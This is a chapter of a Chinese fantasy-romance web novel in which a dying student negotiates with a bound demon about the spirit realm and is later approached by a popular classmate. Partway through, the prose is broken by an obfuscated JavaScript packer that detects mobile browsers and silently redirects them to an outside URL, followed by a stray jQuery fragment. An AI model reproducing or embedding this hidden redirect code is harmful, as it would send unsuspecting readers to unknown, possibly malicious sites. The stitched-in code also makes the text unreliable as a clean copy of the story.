面对这突如其来的敌意,纪含星反而像卸下了什么重担般放松下来,她仰面躺回床上,苍白的脸上浮现出一个释然的笑容,细碎的黑发散落在枕头上,衬得她脆弱又倔强。
“我才不怕你呢。”纪含星的声音轻得像叹息:“从见面第一天起,你就巴不得我快点死,好解开契约。"她侧过头,直视着容与白那双金色的竖瞳:”你的仇恨值再高,对我而言也就是一死,有什么区别?“
容与白轻哼一声,银发随着动作微微晃动,他俯身凑近,压在纪含星身体上方,声音阴恻恻的:“所以说你还是太年轻了。”他修长的手指轻轻划过她雪白的脖颈:“有时候,死并不是最可怕的。”
暧昧的肌肤触感,让纪含星猛地推开他,这个动作牵动了肩上的伤口,疼得她眉头一皱,她坐直身子,眼神却异常坚定:“容与白,别给我玩阴的,你刚才说不记得是谁封印你,这样吧,如果能找到我妈妈的下落,我马上自杀解除契约,放你自由去找封印你的仇人,怎么样?”
容与白被她推翻在床上,银发散落在他的肩头还有床上,他歪着头打量她,忽然笑了,那笑容漂亮得近乎妖异,只听到他慢条斯理地开口:“不怎么样,你就只有两年寿命,我说过不介意等到契约自动解除,所以我不会答应帮你找人。“
纪含星连忙摆手,动作太急带起一阵风,吹动了床头柜上的纸巾盒:“我不需要你帮忙找人。”她咬了咬下唇:“能再做一次交易吗?我真的很想知道人类有没有办法进入灵界?”
容与白已经窝回懒人沙发里,闭着眼睛像是睡着了,姿态慵懒优雅,彷佛一幅艳丽的油画。
纪含星忍痛一点点挪下床,赤脚踩在冰凉的地板上,轻手轻脚地走到容与白身边,她伸手在他眼前晃了晃:“容与白,你别装睡。”她的声音带着几分急切:“能再做一次……交易吗?”
容与白连眼睛都没睁开,只是摇了摇头,银发在沙发上摩擦出细微的声响:“这个交易做不了。”他的声音懒洋洋的:“我早说过人妖有别,人是不能进入灵界的。”
“既然人妖有别!”纪含星双手抱胸,声音提高了几分:“那为什么妖能到人界?你,还有那晚的狗妖都出现在人界。”她俯下身,几乎要贴到容与白耳朵上:“你别说妖能自由进出两界,人却不能这种双标的话来诓我!”
容与白依旧闭着眼睛,头顶的灯光让长长的睫毛在脸上投下阴影,他像是被阳光晒得舒服的猫,连声音都带着几分慵懒:“那你可以先去打听一下狗妖的下落。”他慢悠悠地补充:“我提前说吧,你只能得到一个结果,就是他失踪了,你们人类的监管者……叫什么来着,噢,警察也找不到他。”
“为什么?”纪含星皱眉。
“你别那么为什么,且去打听,看结果是不是这样。”容与白终于睁开一只眼睛,金色的瞳孔在灯光下像融化的黄金:“我再告诉你为什么。”
纪含星将信将疑。
那晚做完笔录,警察给了她一张回执,她翻出那张已经有些皱巴巴的纸条,走到窗边,按着上面的电话号码打了过去。
电话很快接通,她以害怕被流浪汉报复为由,询问了对方的情况。
电话那头的女警员明显犹豫了一下:“纪小姐,那晚涉案的流浪汉在医院治疗过程中逃逸了,现在还在抓捕中。”她的声音带着职业性的安抚:“您这几天尽量不要单独出行,也少去偏僻的地方,发觉什么异常尽快联系我们。”
纪含星握着手机的手指不自觉地收紧,电话里的内容让她后背发凉,一股寒意从脚底直窜上来。
她机械地道谢,挂断电话,转身看向沙发上假寐的容与白,声音有些干巴:“对,他失踪了,和你说的一样。”
“你别怕,他不会再来找你。”容与白慢悠悠地开口:“准确地说,他现在已经不在人界。”
他坐直身体,表情难得认真起来:“灵界和人界一样,有自己的监管者,灵界的监管者组织叫做灵管局,他们负责管理灵界,以及追回逃匿到人界的灵族。”他顿了顿:“那只狗妖应该被灵管局拘了回去,灵管局还会抓捕闯入灵界的人类,所以说你别想着去灵界。”
窗外雨雾迷蒙,模糊了远处的建筑轮廓,纪含星的眼神暗了下来,像是被雨水打湿的火苗。好不容易找到灵界这条线索,如今又陷入无法进入的困境。
她攥紧了拳头,指甲陷入掌心的疼痛让她保持清醒,无论如何,快速掌握通灵术是现在唯一能做的事情!她在心里暗暗给自己打气。
纪含星休息了几天,身上的伤大好了,便回学校上课。其实,在她知道自己还有两年寿命的时候,想过申请休学,但是转念一想,万一事情有转机,自己可以活得更久,大学文凭还是很重要的,再说,自己辛辛苦苦考上名校,都上大三了,放弃学业太可惜了,所以,她还是照常上学。
今天,纪含星到学校依然很早,她听到邻桌的女生门在聊天,以前她会觉得她们的话题很无聊,现在经过了死里逃生,竟然觉得听八卦也挺有趣。
一个戴黑框眼镜的女生说:“不知道淮旭男神今天来不来,他已经两周没来上课了。”
纪含星心想,这不巧了吗,和自己请假的天数一样。
烫着大波浪卷的漂亮女生:“是呢,听说他还缺席了上周的大学生击剑锦标赛决赛,在场的校领导脸都黑了。”
另一边戴着帽子的女生打了个哈欠,接话道:“跟你们说,淮旭男神是我早八的动力,你看,我拼尽全力爬起来,连妆都没撸。”
大波浪卷发女生笑了:“网上都说了,通常素颜就会遇见男神,你没化妆,说不定男神今天就来了。”
教室前排传来惊呼:“天啊,快看,是淮旭男神来了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725994|173840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戴帽子的女生:“握草,你这乌鸦嘴,有没有粉饼借我用用。”
纪含星看着身边的女生一阵起哄,顺着她们羞赧躲闪的眼光看去,看到一个高瘦的身影走了进来,确实是沈淮旭,不同于往日的金光闪闪出场,他今天的气色不太好,但是头发和穿搭依然是很潮很有型。
纪含星看着沈淮旭穿过一排排的座位,在无数好奇和期待的目光中,他竟然一屁股坐在了自己身后的座位。
整节大课,前面的女生总是有意无意地看过来,虽然她们看的是她身后的沈淮旭,可是目光总归要扫过纪含星,她充分体验到什么叫做如坐针毡,芒刺在背。
下课铃终于响了,那清脆的声响对纪含星而言宛如天籁!她如蒙大赦般抓起挎包和书本,几乎是逃也似的,第一个冲出教室。
教室外的空气带着初秋的清爽,她深吸一口气,感觉整个人都活了过来。
还没等她享受够这难得的自由,肩膀突然被人从身后轻轻拍了拍。那触感很轻,却让纪含星浑身一僵。
她缓缓转身,看到了那张让她如坐针毡一个多小时的面孔——沈淮旭正对她微笑,阳光在他轮廓分明的脸上投下细碎的光影。
“早啊,纪同学。”他的声音温和有礼:“你还记得我吧?”
眼看着教室里的大部队也要涌到门口,纪含星只想赶紧离开这个是非之地:“呃...啊,记得的,上次晕倒多亏你帮忙。”她后退了半步:“你找我有事吗?如果没有事,我先走……”
沈淮旭似乎看穿了她的窘迫,善解人意地建议道:“找你有事,我们到外面聊吧。”说着,他做了个“请”的绅士手势。
纪含星机械地跟在沈淮旭身后,两人穿过侧边的小门,来到两栋教学楼之间的小花园。
她回头看了看,确认没有同学跟过来,才略略松了口气,花园里的桂花开了,甜腻的香气在空气中弥漫。
“我能加你的微信吗?”走在前头的沈淮旭突然转身,阳光从他背后照射过来,给他整个人镀上一层金边。
“呃……能,我号码是……”纪含星不情愿地开口。她不明白沈淮旭为什么会主动找自己,虽然这是很多女生梦寐以求的事情,甚至如果是在知道自己只剩两年寿命之前,她或许也会感到受宠若惊。
但现在,她已经没有多余的精力去应付这些了,和妈妈失踪不相关的事情,对于她来说都是无意义的麻烦事。
“你看手机,我已经发送好友申请了。“沈淮旭温和一笑,那笑容在阳光下简直闪闪发光,晃得纪含星有些睁不开眼。
纪含星心说我还没说号码,你就加上了?她点开手机,果然看到一个红点提示,她犹豫了一下,还是点了通过。
沈淮旭似乎松了口气:“其实我加了你几次,可是都被拒绝了,所以才这么唐突地当面叫住你。”